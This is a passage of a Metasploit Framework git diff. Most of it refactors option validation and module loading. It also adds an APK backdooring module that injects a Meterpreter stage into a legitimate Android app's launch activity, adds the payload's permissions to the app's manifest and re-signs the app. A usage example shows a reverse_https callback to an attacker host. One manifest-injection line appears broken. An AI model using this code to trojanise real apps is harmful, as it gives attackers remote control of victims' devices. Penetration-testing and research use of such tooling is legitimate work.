- # by setting datastore['DEBUG'] to 1|true|yes
+ # Returns true if this module is being debugged.
#
def debugging?
- (datastore['DEBUG'] || '') =~ /^(1|t|y)/i
+ datastore['DEBUG']
end
#
diff --git a/lib/msf/core/module/deprecated.rb b/lib/msf/core/module/deprecated.rb
index 2879223d2f..64c846058b 100644
--- a/lib/msf/core/module/deprecated.rb
+++ b/lib/msf/core/module/deprecated.rb
@@ -60,15 +60,15 @@ module Msf::Module::Deprecated
#
# @return [void]
def print_deprecation_warning
- print_warning("*"*72)
- print_warning("*%red"+"The module #{refname} is deprecated!".center(70)+"%clr*")
+ print_warning("*"*90)
+ print_warning("*%red"+"The module #{refname} is deprecated!".center(88)+"%clr*")
if deprecation_date
- print_warning("*"+"It will be removed on or about #{deprecation_date}".center(70)+"*")
+ print_warning("*"+"It will be removed on or about #{deprecation_date}".center(88)+"*")
end
if replacement_module
- print_warning("*"+"Use #{replacement_module} instead".center(70)+"*")
+ print_warning("*"+"Use #{replacement_module} instead".center(88)+"*")
end
- print_warning("*"*72)
+ print_warning("*"*90)
end
def init_ui(input = nil, output = nil)
diff --git a/lib/msf/core/module/ui/message.rb b/lib/msf/core/module/ui/message.rb
index 7370ded212..c706a35702 100644
--- a/lib/msf/core/module/ui/message.rb
+++ b/lib/msf/core/module/ui/message.rb
@@ -13,11 +13,10 @@ module Msf::Module::UI::Message
end
def print_prefix
- ret = ''
- if (datastore['TimestampOutput'] =~ /^(t|y|1)/i) || (
- framework && framework.datastore['TimestampOutput'] =~ /^(t|y|1)/i
- )
- prefix = "[#{Time.now.strftime("%Y.%m.%d-%H:%M:%S")}] "
+ prefix = ''
+ if datastore['TimestampOutput'] ||
+ (framework && framework.datastore['TimestampOutput'])
+ prefix << "[#{Time.now.strftime("%Y.%m.%d-%H:%M:%S")}] "
xn ||= datastore['ExploitNumber']
xn ||= framework.datastore['ExploitNumber']
@@ -25,9 +24,8 @@ module Msf::Module::UI::Message
prefix << "[%04d] " % xn
end
- ret = prefix
end
- ret
+ prefix
end
def print_status(msg='')
@@ -37,4 +35,4 @@ module Msf::Module::UI::Message
def print_warning(msg='')
super(print_prefix + msg)
end
-end
\ No newline at end of file
+end
diff --git a/lib/msf/core/module/ui/message/verbose.rb b/lib/msf/core/module/ui/message/verbose.rb
index 1a8d0175b9..a47a7e8f11 100644
--- a/lib/msf/core/module/ui/message/verbose.rb
+++ b/lib/msf/core/module/ui/message/verbose.rb
@@ -1,21 +1,21 @@
module Msf::Module::UI::Message::Verbose
# Verbose version of #print_error
def vprint_error(msg='')
- print_error(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE']
+ print_error(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE'])
end
# Verbose version of #print_good
def vprint_good(msg='')
- print_good(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE']
+ print_good(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE'])
end
# Verbose version of #print_status
def vprint_status(msg='')
- print_status(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE']
+ print_status(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE'])
end
# Verbose version of #print_warning
def vprint_warning(msg='')
- print_warning(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE']
+ print_warning(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE'])
end
end
diff --git a/lib/msf/core/module_manager.rb b/lib/msf/core/module_manager.rb
index c8ebc14c21..0fe7794797 100644
--- a/lib/msf/core/module_manager.rb
+++ b/lib/msf/core/module_manager.rb
@@ -120,6 +120,7 @@ module Msf
self.module_info_by_path = {}
self.enablement_by_type = {}
self.module_load_error_by_path = {}
+ self.module_load_warnings = {}
self.module_paths = []
self.module_set_by_type = {}
@@ -146,11 +147,6 @@ module Msf
# @param klass [Class] The module class
# @return [void]
def auto_subscribe_module(klass)
- # If auto-subscribe has been disabled
- if (framework.datastore['DisableAutoSubscribe'] and
- framework.datastore['DisableAutoSubscribe'] =~ /^(y|1|t)/)
- return
- end
# If auto-subscription is enabled (which it is by default), figure out
# if it subscribes to any particular interfaces.
diff --git a/lib/msf/core/module_manager/loading.rb b/lib/msf/core/module_manager/loading.rb
index c5900bd15a..c7bb4a0bb5 100644
--- a/lib/msf/core/module_manager/loading.rb
+++ b/lib/msf/core/module_manager/loading.rb
@@ -50,7 +50,7 @@ module Msf::ModuleManager::Loading
changed
end
- attr_accessor :module_load_error_by_path
+ attr_accessor :module_load_error_by_path, :module_load_warnings
# Called when a module is initially loaded such that it can be categorized
# accordingly.
@@ -122,4 +122,4 @@ module Msf::ModuleManager::Loading
count_by_type
end
-end
\ No newline at end of file
+end
diff --git a/lib/msf/core/modules/loader/base.rb b/lib/msf/core/modules/loader/base.rb
index 5f4586efd6..3ed5bb8c21 100644
--- a/lib/msf/core/modules/loader/base.rb
+++ b/lib/msf/core/modules/loader/base.rb
@@ -3,9 +3,7 @@
# Project
#
require 'msf/core/modules/loader'
-require 'msf/core/modules/namespace'
-require 'msf/core/modules/metasploit_class_compatibility_error'
-require 'msf/core/modules/version_compatibility_error'
+require 'msf/core/modules/error'
# Responsible for loading modules for {Msf::ModuleManager}.
#
@@ -30,9 +28,6 @@ class Msf::Modules::Loader::Base
# By calling module_eval from inside the module definition, the lexical scope is captured and available to the code in
# module_content.
NAMESPACE_MODULE_CONTENT = <<-EOS
- # ensure the namespace module can respond to checks during loading
- extend Msf::Modules::Namespace
-
class << self
# The loader that originally loaded this module
#
@@ -103,12 +98,9 @@ class Msf::Modules::Loader::Base
# @option options [Boolean] :reload (false) whether this is a reload.
#
# @return [false] if :force is false and parent_path has not changed.
- # @return [false] if exception encountered while parsing module
- # content
- # @return [false] if the module is incompatible with the Core or API
- # version.
- # @return [false] if the module does not implement a Metasploit(\d+)
- # class.
+ # @return [false] if exception encountered while parsing module content
+ # @return [false] if the module is incompatible with the Core or API version.
+ # @return [false] if the module does not implement a Metasploit class.
# @return [false] if the module's is_usable method returns false.
# @return [true] if all those condition pass and the module is
# successfully loaded.
@@ -131,8 +123,6 @@ class Msf::Modules::Loader::Base
reload ||= force || file_changed
- metasploit_class = nil
-
module_content = read_module_content(parent_path, type, module_reference_name)
if module_content.empty?
@@ -140,6 +130,7 @@ class Msf::Modules::Loader::Base
return false
end
+ klass = nil
try_eval_module = lambda { |namespace_module|
# set the parent_path so that the module can be reloaded with #load_module
namespace_module.parent_path = parent_path
@@ -150,41 +141,24 @@ class Msf::Modules::Loader::Base
rescue ::Interrupt
raise
rescue ::Exception => error
- # Hide eval errors when the module version is not compatible
- begin
- namespace_module.version_compatible!(module_path, module_reference_name)
- rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error
- load_error(module_path, version_compatibility_error)
- else
- load_error(module_path, error)
- end
-
- return false
- end
-
- begin
- namespace_module.version_compatible!(module_path, module_reference_name)
- rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error
- load_error(module_path, version_compatibility_error)
-
- return false
- end
-
- begin
- metasploit_class = namespace_module.metasploit_class!(module_path, module_reference_name)
- rescue Msf::Modules::MetasploitClassCompatibilityError => error
load_error(module_path, error)
-
return false
end
- unless usable?(metasploit_class)
- ilog(
- "Skipping module (#{module_reference_name} from #{module_path}) because is_usable returned false.",
- 'core',
- LEV_1
- )
-
+ if namespace_module.const_defined?('Metasploit3', false)
+ klass = namespace_module.const_get('Metasploit3', false)
+ load_warning(module_path, 'Please change the modules class name from Metasploit3 to MetasploitModule')
+ elsif namespace_module.const_defined?('Metasploit4', false)
+ klass = namespace_module.const_get('Metasploit4', false)
+ load_warning(module_path, 'Please change the modules class name from Metasploit4 to MetasploitModule')
+ elsif namespace_module.const_defined?('MetasploitModule', false)
+ klass = namespace_module.const_get('MetasploitModule', false)
+ else
+ load_error(module_path, Msf::Modules::Error.new({
+ :module_path => module_path,
+ :module_reference_name => module_reference_name,
+ :causal_message => 'Invalid module (no MetasploitModule class or module name)'
+ }))
return false
end
@@ -206,7 +180,7 @@ class Msf::Modules::Loader::Base
# Do some processing on the loaded module to get it into the right associations
module_manager.on_module_load(
- metasploit_class,
+ klass,
type,
module_reference_name,
{
@@ -339,9 +313,9 @@ class Msf::Modules::Loader::Base
protected
- # Returns a nested module to wrap the Metasploit(1|2|3) class so that it doesn't overwrite other (metasploit)
- # module's classes. The wrapper module must be named so that active_support's autoloading code doesn't break when
- # searching constants from inside the Metasploit(1|2|3) class.
+ # Returns a nested module to wrap the MetasploitModule class so that it doesn't overwrite other (metasploit)
+ # module's classes. The wrapper module must be named so that active_support's autoloading code doesn't break when
+ # searching constants from inside the Metasploit class.
#
# @param namespace_module_names [Array]
# {NAMESPACE_MODULE_NAMES} +
@@ -351,7 +325,7 @@ class Msf::Modules::Loader::Base
# @see NAMESPACE_MODULE_CONTENT
def create_namespace_module(namespace_module_names)
# In order to have constants defined in Msf resolve without the Msf qualifier in the module_content, the
- # Module.nesting must resolve for the entire nesting. Module.nesting is strictly lexical, and can't be faked with
+ # Module.nesting must resolve for the entire nesting. Module.nesting is strictly lexical, and can't be faked with
# module_eval(&block). (There's actually code in ruby's implementation to stop module_eval from being added to
# Module.nesting when using the block syntax.) All this means is the modules have to be declared as a string that
# gets module_eval'd.
@@ -432,13 +406,32 @@ class Msf::Modules::Loader::Base
log_lines << "#{module_path} failed to load due to the following error:"
log_lines << error.class.to_s
log_lines << error.to_s
- log_lines << "Call stack:"
- log_lines += error.backtrace
+ if error.backtrace
+ log_lines << "Call stack:"
+ log_lines += error.backtrace
+ end
log_message = log_lines.join("\n")
elog(log_message)
end
+ # Records the load warning to {Msf::ModuleManager::Loading#module_load_warnings} and the log.
+ #
+ # @param [String] module_path Path to the module as returned by {#module_path}.
+ # @param [String] Error message that caused the warning.
+ # @return [void]
+ #
+ # @see #module_path
+ def load_warning(module_path, error)
+ module_manager.module_load_warnings[module_path] = error.to_s
+
+ log_lines = []
+ log_lines << "#{module_path} generated a warning during load:"
+ log_lines << error.to_s
+ log_message = log_lines.join("\n")
+ wlog(log_message)
+ end
+
# @return [Msf::ModuleManager] The module manager for which this loader is loading modules.
attr_reader :module_manager
@@ -455,7 +448,7 @@ class Msf::Modules::Loader::Base
raise ::NotImplementedError
end
- # Returns whether the path could refer to a module. The path would still need to be loaded in order to check if it
+ # Returns whether the path could refer to a module. The path would still need to be loaded in order to check if it
# actually is a valid module.
#
# @param [String] path to module without the type directory.
@@ -502,8 +495,8 @@ class Msf::Modules::Loader::Base
end
# Returns an Array of names to make a fully qualified module name to
- # wrap the Metasploit(1|2|3) class so that it doesn't overwrite other
- # (metasploit) module's classes. Invalid module name characters are
+ # wrap the MetasploitModule class so that it doesn't overwrite other
+ # (metasploit) module's classes. Invalid module name characters are
# escaped by using 'H*' unpacking and prefixing each code with X so
# the code remains a valid module name when it starts with a digit.
#
@@ -626,28 +619,4 @@ class Msf::Modules::Loader::Base
self.class.typed_path(type, module_reference_name)
end
- # Returns whether the metasploit_class is usable on the current system. Defer's to metasploit_class's #is_usable if
- # it is defined.
- #
- # @param [Msf::Module] metasploit_class As returned by {Msf::Modules::Namespace#metasploit_class}
- # @return [false] if metasploit_class.is_usable returns false.
- # @return [true] if metasploit_class does not respond to is_usable.
- # @return [true] if metasploit_class.is_usable returns true.
- def usable?(metasploit_class)
- # If the module indicates that it is not usable on this system, then we
- # will not try to use it.
- usable = false
-
- if metasploit_class.respond_to? :is_usable
- begin
- usable = metasploit_class.is_usable
- rescue => error
- elog("Exception caught during is_usable check: #{error}")
- end
- else
- usable = true
- end
-
- usable
- end
end
diff --git a/lib/msf/core/modules/loader/directory.rb b/lib/msf/core/modules/loader/directory.rb
index 46f182e4f6..f311e4b767 100644
--- a/lib/msf/core/modules/loader/directory.rb
+++ b/lib/msf/core/modules/loader/directory.rb
@@ -32,10 +32,6 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
def each_module_reference_name(path, opts={})
whitelist = opts[:whitelist] || []
::Dir.foreach(path) do |entry|
- if entry.downcase == '.svn'
- next
- end
-
full_entry_path = ::File.join(path, entry)
type = entry.singularize
diff --git a/lib/msf/core/modules/metasploit_class_compatibility_error.rb b/lib/msf/core/modules/metasploit_class_compatibility_error.rb
deleted file mode 100644
index ae829392cf..0000000000
--- a/lib/msf/core/modules/metasploit_class_compatibility_error.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-# -*- coding: binary -*-
-require 'msf/core/modules/error'
-
-# Error raised by {Msf::Modules::Namespace#metasploit_class!} if it cannot the namespace_module does not have a constant
-# with {Msf::Framework::Major} or lower as a number after 'Metasploit', which indicates a compatible Msf::Module.
-class Msf::Modules::MetasploitClassCompatibilityError < Msf::Modules::Error
- def initialize(attributes={})
- super_attributes = {
- :causal_message => 'Missing compatible Metasploit class constant',
- }.merge(attributes)
-
- super(super_attributes)
- end
-end
\ No newline at end of file
diff --git a/lib/msf/core/modules/namespace.rb b/lib/msf/core/modules/namespace.rb
deleted file mode 100644
index fa65f5fa26..0000000000
--- a/lib/msf/core/modules/namespace.rb
+++ /dev/null
@@ -1,76 +0,0 @@
-# -*- coding: binary -*-
-require 'metasploit/framework/api/version'
-require 'metasploit/framework/core/version'
-
-# Concern for behavior that all namespace modules that wrap Msf::Modules must support like version checking and
-# grabbing the version specific-Metasploit* class.
-module Msf::Modules::Namespace
- # Returns the Metasploit(3|2|1) class from the module_evalled content.
- #
- # @note The module content must be module_evalled into this namespace module before the return of
- # {#metasploit_class} is valid.
- #
- # @return [Msf::Module] if a Metasploit(3|2|1) class exists in this module
- # @return [nil] if such as class is not defined.
- def metasploit_class
- metasploit_class = nil
-
- ::Msf::Framework::Major.downto(1) do |major|
- # Since we really only care about the deepest namespace, we don't
- # need to look for parents' constants. However, the "inherit"
- # parameter for const_defined? only exists after 1.9. If we ever
- # drop 1.8 support, we can save a few cycles here by passing false
- # here.
- if const_defined?("Metasploit#{major}")
- metasploit_class = const_get("Metasploit#{major}")
-
- break
- end
- end
-
- metasploit_class
- end
-
- def metasploit_class!(module_path, module_reference_name)
- metasploit_class = self.metasploit_class
-
- unless metasploit_class
- raise Msf::Modules::MetasploitClassCompatibilityError.new(
- :module_path => module_path,
- :module_reference_name => module_reference_name
- )
- end
-
- metasploit_class
- end
-
- # Raises an error unless {Msf::Framework::VersionCore} and {Msf::Framework::VersionAPI} meet the minimum required
- # versions defined in RequiredVersions in the module content.
- #
- # @note The module content must be module_evalled into this namespace module using module_eval_with_lexical_scope
- # before calling {#version_compatible!} is valid.
- #
- # @param [String] module_path Path from where the module was read.
- # @param [String] module_reference_name The canonical name for the module.
- # @raise [Msf::Modules::VersionCompatibilityError] if RequiredVersion[0] > Msf::Framework::VersionCore or
- # RequiredVersion[1] > Msf::Framework::VersionApi
- # @return [void]
- def version_compatible!(module_path, module_reference_name)
- if const_defined?(:RequiredVersions)
- required_versions = const_get(:RequiredVersions)
- minimum_core_version = Gem::Version.new(required_versions[0].to_s)
- minimum_api_version = Gem::Version.new(required_versions[1].to_s)
-
- if (minimum_core_version > Metasploit::Framework::Core::GEM_VERSION ||
- minimum_api_version > Metasploit::Framework::API::GEM_VERSION)
- raise Msf::Modules::VersionCompatibilityError.new(
- :module_path => module_path,
- :module_reference_name => module_reference_name,
- :minimum_api_version => minimum_api_version,
- :minimum_core_version => minimum_core_version
- )
- end
- end
- end
-end
-
diff --git a/lib/msf/core/modules/version_compatibility_error.rb b/lib/msf/core/modules/version_compatibility_error.rb
deleted file mode 100644
index fb52be3fc8..0000000000
--- a/lib/msf/core/modules/version_compatibility_error.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-# -*- coding: binary -*-
-require 'msf/core/modules/error'
-
-# Error raised by {Msf::Modules::Namespace#version_compatible!} on {Msf::Modules::Loader::Base#create_namespace_module}
-# if the API or Core version does not meet the minimum requirements defined in the RequiredVersions constant in the
-# {Msf::Modules::Loader::Base#read_module_content module content}.
-class Msf::Modules::VersionCompatibilityError < Msf::Modules::Error
- # @param [Hash{Symbol => Float}] attributes
- # @option attributes [Float] :minimum_api_version The minimum {Msf::Framework::VersionAPI} as defined in
- # RequiredVersions.
- # @option attributes [Float] :minimum_core_version The minimum {Msf::Framework::VersionCore} as defined in
- # RequiredVersions.
- def initialize(attributes={})
- @minimum_api_version = attributes[:minimum_api_version]
- @minimum_core_version = attributes[:minimum_core_version]
-
- message_parts = []
- message_parts << 'version check'
-
- if minimum_api_version or minimum_core_version
- clause_parts = []
-
- if minimum_api_version
- clause_parts << "API >= #{minimum_api_version}"
- end
-
- if minimum_core_version
- clause_parts << "Core >= #{minimum_core_version}"
- end
-
- clause = clause_parts.join(' and ')
- message_parts << "(requires #{clause})"
- end
-
- causal_message = message_parts.join(' ')
-
- super_attributes = {
- :causal_message => causal_message
- }.merge(attributes)
-
- super(super_attributes)
- end
-
- # @return [Float] The minimum value of {Msf::Framework::VersionAPI} for the module to be compatible.
- attr_reader :minimum_api_version
- # @return [Float] The minimum value of {Msf::Framework::VersionCore} for the module to be compatible.
- attr_reader :minimum_core_version
- # @return [String] the path to the module that declared the RequiredVersions
- attr_reader :module_path
- # @return [String] the module reference name that declared the RequiredVersions
- attr_reader :module_reference_name
-end
\ No newline at end of file
diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb
index 3df70e099a..a1a53a2c87 100644
--- a/lib/msf/core/opt.rb
+++ b/lib/msf/core/opt.rb
@@ -51,6 +51,13 @@ module Msf
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
end
+ # @return [OptEnum]
+ def self.SSLVersion
+ Msf::OptEnum.new('SSLVersion', [ false,
+ 'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)', 'Auto',
+ ['Auto', 'SSL2', 'SSL3', 'SSL23', 'TLS', 'TLS1', 'TLS1.1', 'TLS1.2']])
+ end
+
# These are unused but remain for historical reasons
class << self
alias builtin_chost CHOST
@@ -69,6 +76,7 @@ module Msf
Proxies = Proxies()
RHOST = RHOST()
RPORT = RPORT()
+ SSLVersion = SSLVersion()
end
end
diff --git a/lib/msf/core/opt_address_range.rb b/lib/msf/core/opt_address_range.rb
index 50c1653971..13dbe4bcd1 100644
--- a/lib/msf/core/opt_address_range.rb
+++ b/lib/msf/core/opt_address_range.rb
@@ -12,6 +12,10 @@ class OptAddressRange < OptBase
return 'addressrange'
end
+ def validate_on_assignment?
+ false
+ end
+
def normalize(value)
return nil unless value.kind_of?(String)
if (value =~ /^file:(.*)/)
diff --git a/lib/msf/core/opt_base.rb b/lib/msf/core/opt_base.rb
index 566f53703f..b332788bc5 100644
--- a/lib/msf/core/opt_base.rb
+++ b/lib/msf/core/opt_base.rb
@@ -75,6 +75,13 @@ module Msf
return (type == in_type)
end
+ #
+ # Returns true if this option can be validated on assignment
+ #
+ def validate_on_assignment?
+ true
+ end
+
#
# If it's required and the value is nil or empty, then it's not valid.
#
diff --git a/lib/msf/core/opt_path.rb b/lib/msf/core/opt_path.rb
index 6a40d48fef..23a23a1671 100644
--- a/lib/msf/core/opt_path.rb
+++ b/lib/msf/core/opt_path.rb
@@ -12,6 +12,10 @@ class OptPath < OptBase
return 'path'
end
+ def validate_on_assignment?
+ false
+ end
+
# Generally, 'value' should be a file that exists.
def valid?(value)
return false if empty_required_value?(value)
diff --git a/lib/msf/core/opt_port.rb b/lib/msf/core/opt_port.rb
index 295ae04538..97fb9db7ec 100644
--- a/lib/msf/core/opt_port.rb
+++ b/lib/msf/core/opt_port.rb
@@ -7,24 +7,17 @@ module Msf
# Network port option.
#
###
-class OptPort < OptBase
+class OptPort < OptInt
def type
return 'port'
end
- def normalize(value)
- value.to_i
- end
-
def valid?(value)
- return false if empty_required_value?(value)
-
- if ((value != nil and value.to_s.empty? == false) and
- ((value.to_s.match(/^\d+$/) == nil or value.to_i < 0 or value.to_i > 65535)))
- return false
+ if !required? and value.to_s.empty?
+ super
+ else
+ super && normalize(value) <= 65535 && normalize(value) >= 0
end
-
- return super
end
end
diff --git a/lib/msf/core/opt_raw.rb b/lib/msf/core/opt_raw.rb
index 7da13693d9..b144334165 100644
--- a/lib/msf/core/opt_raw.rb
+++ b/lib/msf/core/opt_raw.rb
@@ -12,8 +12,12 @@ class OptRaw < OptBase
return 'raw'
end
+ def validate_on_assignment?
+ false
+ end
+
def normalize(value)
- if (value =~ /^file:(.*)/)
+ if (value.to_s =~ /^file:(.*)/)
path = $1
begin
value = File.read(path)
diff --git a/lib/msf/core/opt_regexp.rb b/lib/msf/core/opt_regexp.rb
index d7056dd63b..bb743077db 100644
--- a/lib/msf/core/opt_regexp.rb
+++ b/lib/msf/core/opt_regexp.rb
@@ -29,7 +29,7 @@ class OptRegexp < OptBase
def normalize(value)
return nil if value.nil?
- return Regexp.compile(value)
+ return Regexp.compile(value.to_s)
end
def display_value(value)
diff --git a/lib/msf/core/opt_string.rb b/lib/msf/core/opt_string.rb
index 88818cb036..459ac08cc6 100644
--- a/lib/msf/core/opt_string.rb
+++ b/lib/msf/core/opt_string.rb
@@ -12,8 +12,12 @@ class OptString < OptBase
return 'string'
end
+ def validate_on_assignment?
+ false
+ end
+
def normalize(value)
- if (value =~ /^file:(.*)/)
+ if (value.to_s =~ /^file:(.*)/)
path = $1
begin
value = File.read(path)
diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb
new file mode 100644
index 0000000000..7aa9c34bb6
--- /dev/null
+++ b/lib/msf/core/payload/apk.rb
@@ -0,0 +1,206 @@
+# -*- coding: binary -*-
+
+require 'msf/core'
+require 'rex/text'
+require 'tmpdir'
+require 'nokogiri'
+require 'fileutils'
+require 'optparse'
+require 'open3'
+
+module Msf::Payload::Apk
+
+ class ApkBackdoor
+ include Msf::Payload::Apk
+ def backdoor_apk(apk, payload)
+ backdoor_payload(apk, payload)
+ end
+ end
+
+ def print_status(msg='')
+ $stderr.puts "[*] #{msg}"
+ end
+
+ def print_error(msg='')
+ $stderr.puts "[-] #{msg}"
+ end
+
+ def usage
+ print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n"
+ print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n"
+ end
+
+ def run_cmd(cmd)
+ begin
+ stdin, stdout, stderr = Open3.popen3(cmd)
+ return stdout.read + stderr.read
+ rescue Errno::ENOENT
+ return nil
+ end
+ end
+
+ # Find the activity that is opened when you click the app icon
+ def find_launcher_activity(amanifest)
+ package = amanifest.xpath("//manifest").first['package']
+ activities = amanifest.xpath("//activity|//activity-alias")
+ for activity in activities
+ activityname = activity.attribute("targetActivity")
+ unless activityname
+ activityname = activity.attribute("name")
+ end
+ category = activity.search('category')
+ unless category
+ next
+ end
+ for cat in category
+ categoryname = cat.attribute('name')
+ if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN')
+ name = activityname.to_s
+ if name.start_with?('.')
+ name = package + name
+ end
+ return name
+ end
+ end
+ end
+ end
+
+ def fix_manifest(tempdir)
+ payload_permissions=[]
+
+ #Load payload's permissions
+ File.open("#{tempdir}/payload/AndroidManifest.xml","rb"){|file|
+ k=File.read(file)
+ payload_manifest=Nokogiri::XML(k)
+ permissions = payload_manifest.xpath("//manifest/uses-permission")
+ for permission in permissions
+ name=permission.attribute("name")
+ payload_permissions << name.to_s
+ end
+ }
+
+ original_permissions=[]
+ apk_mani=""
+
+ #Load original apk's permissions
+ File.open("#{tempdir}/original/AndroidManifest.xml","rb"){|file2|
+ k=File.read(file2)
+ apk_mani=k
+ original_manifest=Nokogiri::XML(k)
+ permissions = original_manifest.xpath("//manifest/uses-permission")
+ for permission in permissions
+ name=permission.attribute("name")
+ original_permissions << name.to_s
+ end
+ }
+
+ #Get permissions that are not in original APK
+ add_permissions=[]
+ for permission in payload_permissions
+ if !(original_permissions.include? permission)
+ print_status("Adding #{permission}")
+ add_permissions << permission
+ end
+ end
+
+ inject=0
+ new_mani=""
+ #Inject permissions in original APK's manifest
+ for line in apk_mani.split("\n")
+ if (line.include? "uses-permission" and inject==0)
+ for permission in add_permissions
+ new_mani << ''+"\n"
+ end
+ new_mani << line+"\n"
+ inject=1
+ else
+ new_mani << line+"\n"
+ end
+ end
+ File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts new_mani }
+ end
+
+ def backdoor_payload(apkfile, raw_payload)
+ unless apkfile && File.readable?(apkfile)
+ usage
+ raise RuntimeError, "Invalid template: #{apkfile}"
+ end
+
+ jarsigner = run_cmd("jarsigner")
+ unless jarsigner != nil
+ raise RuntimeError, "jarsigner not found. If it's not in your PATH, please add it."
+ end
+
+ apktool = run_cmd("apktool -version")
+ unless apktool != nil
+ raise RuntimeError, "apktool not found. If it's not in your PATH, please add it."
+ end
+
+ apk_v = Gem::Version.new(apktool)
+ unless apk_v >= Gem::Version.new('2.0.1')
+ raise RuntimeError, "apktool version #{apk_v} not supported, please download at least version 2.0.1."
+ end
+
+ #Create temporary directory where work will be done
+ tempdir = Dir.mktmpdir
+
+ File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload }
+ FileUtils.cp apkfile, "#{tempdir}/original.apk"
+
+ print_status "Decompiling original APK..\n"
+ run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original")
+ print_status "Decompiling payload APK..\n"
+ run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload")
+
+ f = File.open("#{tempdir}/original/AndroidManifest.xml")
+ amanifest = Nokogiri::XML(f)
+ f.close
+
+ print_status "Locating hook point..\n"
+ launcheractivity = find_launcher_activity(amanifest)
+ unless launcheractivity
+ raise RuntimeError, "Unable to find hookable activity in #{apkfile}\n"
+ end
+ smalifile = "#{tempdir}/original/smali*/" + launcheractivity.gsub(/\./, "/") + ".smali"
+ smalifiles = Dir.glob(smalifile)
+ for smalifile in smalifiles
+ if File.readable?(smalifile)
+ activitysmali = File.read(smalifile)
+ end
+ end
+
+ unless activitysmali
+ raise RuntimeError, "Unable to find hook point in #{smalifiles}\n"
+ end
+
+ entrypoint = ';->onCreate(Landroid/os/Bundle;)V'
+ unless activitysmali.include? entrypoint
+ raise RuntimeError, "Unable to find onCreate() in #{smalifile}\n"
+ end
+
+ print_status "Copying payload files..\n"
+ FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/")
+ FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/"
+
+ payloadhook = entrypoint + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V"
+ hookedsmali = activitysmali.gsub(entrypoint, payloadhook)
+
+ print_status "Loading #{smalifile} and injecting payload..\n"
+ File.open(smalifile, "wb") {|file| file.puts hookedsmali }
+ injected_apk = "#{tempdir}/output.apk"
+ print_status "Poisoning the manifest with meterpreter permissions..\n"
+ fix_manifest(tempdir)
+
+ print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
+ run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
+ print_status "Signing #{injected_apk}\n"
+ run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey")
+
+ outputapk = File.read(injected_apk)
+
+ FileUtils.remove_entry tempdir
+ outputapk
+ end
+end
+
+
diff --git a/lib/msf/core/payload/ruby.rb b/lib/msf/core/payload/ruby.rb
index 80ff558804..e884fa1aca 100644
--- a/lib/msf/core/payload/ruby.rb
+++ b/lib/msf/core/payload/ruby.rb
@@ -10,7 +10,7 @@ module Msf::Payload::Ruby
[
# Since space restrictions aren't really a problem, default this to
# true.
- Msf::OptBool.new('PrependFork', [ false, "Start the payload in its own process via fork or popen", "true" ])
+ Msf::OptBool.new('PrependFork', [ false, "Start the payload in its own process via fork or popen", true ])
]
)
end
diff --git a/lib/msf/core/payload/windows/prepend_migrate.rb b/lib/msf/core/payload/windows/prepend_migrate.rb
index 58ad420cfe..b6ccf75131 100644
--- a/lib/msf/core/payload/windows/prepend_migrate.rb
+++ b/lib/msf/core/payload/windows/prepend_migrate.rb
@@ -28,7 +28,7 @@ module Msf::Payload::Windows::PrependMigrate
# for discussion.
#
def prepend_migrate?
- !!(datastore['PrependMigrate'] && datastore['PrependMigrate'].to_s.downcase == 'true')
+ datastore['PrependMigrate']
end
#
diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb
index b4c436e561..2879093ba7 100644
--- a/lib/msf/core/payload_generator.rb
+++ b/lib/msf/core/payload_generator.rb
@@ -1,4 +1,5 @@
# -*- coding: binary -*-
+require 'msf/core/payload/apk'
require 'active_support/core_ext/numeric/bytes'
module Msf
@@ -305,9 +306,15 @@ module Msf
# @return [String] A string containing the bytes of the payload in the format selected
def generate_payload
if platform == "java" or arch == "java" or payload.start_with? "java/"
- p = generate_java_payload
- cli_print "Payload size: #{p.length} bytes"
- p
+ raw_payload = generate_java_payload
+ cli_print "Payload size: #{raw_payload.length} bytes"
+ raw_payload
+ elsif payload.start_with? "android/" and not template.blank?
+ cli_print "Using APK template: #{template}"
+ apk_backdoor = ::Msf::Payload::Apk::ApkBackdoor::new()
+ raw_payload = apk_backdoor.backdoor_apk(template, generate_raw_payload)
+ cli_print "Payload size: #{raw_payload.length} bytes"
+ raw_payload
else
raw_payload = generate_raw_payload
raw_payload = add_shellcode(raw_payload)
@@ -369,7 +376,7 @@ module Msf
encoders << e if e
end
encoders.sort_by { |my_encoder| my_encoder.rank }.reverse
- elsif badchars.present?
+ elsif !badchars.empty? && !badchars.nil?
framework.encoders.each_module_ranked('Arch' => [arch], 'Platform' => platform_list) do |name, mod|
